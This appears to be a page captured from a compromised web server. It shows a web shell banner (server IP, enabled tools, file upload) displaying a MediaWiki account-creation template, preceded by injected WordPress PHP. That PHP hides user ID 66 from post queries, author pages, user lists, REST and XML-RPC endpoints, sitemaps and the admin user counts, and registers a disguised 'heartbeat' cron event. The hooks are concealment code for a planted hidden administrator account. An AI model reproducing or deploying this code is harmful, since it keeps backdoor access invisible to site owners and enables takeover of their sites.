add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openusability/wiki/includes/templates/ |
Upload File : |
<?php
/**
* Html form for account creation.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
* @ingroup Templates
*/
/**
* @defgroup Templates Templates
*/
if( !defined( 'MEDIAWIKI' ) ) die( -1 );
/**
* @ingroup Templates
*/
class UsercreateTemplate extends QuickTemplate {
function addInputItem( $name, $value, $type, $msg, $helptext = false ) {
$this->data['extraInput'][] = array(
'name' => $name,
'value' => $value,
'type' => $type,
'msg' => $msg,
'helptext' => $helptext,
);
}
function execute() {
if( $this->data['message'] ) {
?>
<div class="<?php $this->text('messagetype') ?>box">
<?php if ( $this->data['messagetype'] == 'error' ) { ?>
<strong><?php $this->msg( 'loginerror' )?></strong><br />
<?php } ?>
<?php $this->html('message') ?>
</div>
<div class="visualClear"></div>
<?php } ?>
<div id="signupstart"><?php $this->msgWiki( 'signupstart' ); ?></div>
<div id="userlogin">
<form name="userlogin2" id="userlogin2" method="post" action="<?php $this->text('action') ?>">
<h2><?php $this->msg('createaccount') ?></h2>
<p id="userloginlink"><?php $this->html('link') ?></p>
<?php $this->html('header'); /* pre-table point for form plugins... */ ?>
<?php if( $this->haveData( 'languages' ) ) { ?><div id="languagelinks"><p><?php $this->html( 'languages' ); ?></p></div><?php } ?>
<table>
<tr>
<td class="mw-label"><label for='wpName2'><?php $this->msg('yourname') ?></label></td>
<td class="mw-input">
<?php
echo Html::input( 'wpName', $this->data['name'], 'text', array(
'class' => 'loginText',
'id' => 'wpName2',
'tabindex' => '1',
'size' => '20',
'required',
'autofocus'
) ); ?>
</td>
</tr>
<tr>
<td></td>
<td class="mw-input">
<?php if( $this->data['createemail'] ) {
echo Xml::checkLabel(
wfMessage( 'createaccountmail' )->text(),
'wpCreateaccountMail',
'wpCreateaccountMail',
$this->data['createemailset'],
array( 'tabindex' => '2' )
);
} ?>
</td>
</tr>
<tr class="mw-row-password">
<td class="mw-label"><label for='wpPassword2'><?php $this->msg('yourpassword') ?></label></td>
<td class="mw-input">
<?php
echo Html::input( 'wpPassword', null, 'password', array(
'class' => 'loginPassword',
'id' => 'wpPassword2',
'tabindex' => '3',
'size' => '20'
) + User::passwordChangeInputAttribs() ); ?>
</td>
</tr>
<?php if( $this->data['usedomain'] ) {
$doms = "";
foreach( $this->data['domainnames'] as $dom ) {
$doms .= "<option>" . htmlspecialchars( $dom ) . "</option>";
}
?>
<tr id="mw-user-domain-section">
<td class="mw-label"><?php $this->msg( 'yourdomainname' ) ?></td>
<td class="mw-input">
<select name="wpDomain" value="<?php $this->text( 'domain' ) ?>"
tabindex="4">
<?php echo $doms ?>
</select>
</td>
</tr>
<?php } ?>
<tr class="mw-row-password">
<td class="mw-label"><label for='wpRetype'><?php $this->msg('yourpasswordagain') ?></label></td>
<td class="mw-input">
<?php
echo Html::input( 'wpRetype', null, 'password', array(
'class' => 'loginPassword',
'id' => 'wpRetype',
'tabindex' => '5',
'size' => '20'
) + User::passwordChangeInputAttribs() ); ?>
</td>
</tr>
<tr>
<?php if( $this->data['useemail'] ) { ?>
<td class="mw-label"><label for='wpEmail'><?php $this->msg('youremail') ?></label></td>
<td class="mw-input">
<?php
echo Html::input( 'wpEmail', $this->data['email'], 'email', array(
'class' => 'loginText',
'id' => 'wpEmail',
'tabindex' => '6',
'size' => '20'
) ); ?>
<div class="prefsectiontip">
<?php // duplicated in Preferences.php profilePreferences()
if( $this->data['emailrequired'] ) {
$this->msgWiki('prefs-help-email-required');
} else {
$this->msgWiki('prefs-help-email');
}
if( $this->data['emailothers'] ) {
$this->msgWiki('prefs-help-email-others');
} ?>
</div>
</td>
<?php } ?>
<?php if( $this->data['userealname'] ) { ?>
</tr>
<tr>
<td class="mw-label"><label for='wpRealName'><?php $this->msg('yourrealname') ?></label></td>
<td class="mw-input">
<input type='text' class='loginText' name="wpRealName" id="wpRealName"
tabindex="7"
value="<?php $this->text('realname') ?>" size='20' />
<div class="prefsectiontip">
<?php $this->msgWiki('prefs-help-realname'); ?>
</div>
</td>
<?php } ?>
<?php if( $this->data['usereason'] ) { ?>
</tr>
<tr>
<td class="mw-label"><label for='wpReason'><?php $this->msg('createaccountreason') ?></label></td>
<td class="mw-input">
<input type='text' class='loginText' name="wpReason" id="wpReason"
tabindex="8"
value="<?php $this->text('reason') ?>" size='20' />
</td>
<?php } ?>
</tr>
<?php if( $this->data['canremember'] ) { ?>
<tr>
<td></td>
<td class="mw-input">
<?php
global $wgCookieExpiration;
$expirationDays = ceil( $wgCookieExpiration / ( 3600 * 24 ) );
echo Xml::checkLabel(
wfMessage( 'remembermypassword' )->numParams( $expirationDays )->text(),
'wpRemember',
'wpRemember',
$this->data['remember'],
array( 'tabindex' => '9' )
)
?>
</td>
</tr>
<?php }
$tabIndex = 10;
if ( isset( $this->data['extraInput'] ) && is_array( $this->data['extraInput'] ) ) {
foreach ( $this->data['extraInput'] as $inputItem ) { ?>
<tr>
<?php
if ( !empty( $inputItem['msg'] ) && $inputItem['type'] != 'checkbox' ) {
?><td class="mw-label"><label for="<?php
echo htmlspecialchars( $inputItem['name'] ); ?>"><?php
$this->msgWiki( $inputItem['msg'] ) ?></label><?php
} else {
?><td><?php
}
?></td>
<td class="mw-input">
<input type="<?php echo htmlspecialchars( $inputItem['type'] ) ?>" name="<?php
echo htmlspecialchars( $inputItem['name'] ); ?>"
tabindex="<?php echo $tabIndex++; ?>"
value="<?php
if ( $inputItem['type'] != 'checkbox' ) {
echo htmlspecialchars( $inputItem['value'] );
} else {
echo '1';
}
?>" id="<?php echo htmlspecialchars( $inputItem['name'] ); ?>"
<?php
if ( $inputItem['type'] == 'checkbox' && !empty( $inputItem['value'] ) )
echo 'checked="checked"';
?> /> <?php
if ( $inputItem['type'] == 'checkbox' && !empty( $inputItem['msg'] ) ) {
?>
<label for="<?php echo htmlspecialchars( $inputItem['name'] ); ?>"><?php
$this->msgHtml( $inputItem['msg'] ) ?></label><?php
}
if( $inputItem['helptext'] !== false ) {
?>
<div class="prefsectiontip">
<?php $this->msgWiki( $inputItem['helptext'] ); ?>
</div>
<?php } ?>
</td>
</tr>
<?php
}
}
?>
<tr>
<td></td>
<td class="mw-submit">
<input type='submit' name="wpCreateaccount" id="wpCreateaccount"
tabindex="<?php echo $tabIndex++; ?>"
value="<?php $this->msg('createaccount') ?>" />
</td>
</tr>
</table>
<?php if( $this->haveData( 'uselang' ) ) { ?><input type="hidden" name="uselang" value="<?php $this->text( 'uselang' ); ?>" /><?php } ?>
<?php if( $this->haveData( 'token' ) ) { ?><input type="hidden" name="wpCreateaccountToken" value="<?php $this->text( 'token' ); ?>" /><?php } ?>
</form>
</div>
<div id="signupend"><?php $this->html( 'signupend' ); ?></div>
<?php
}
}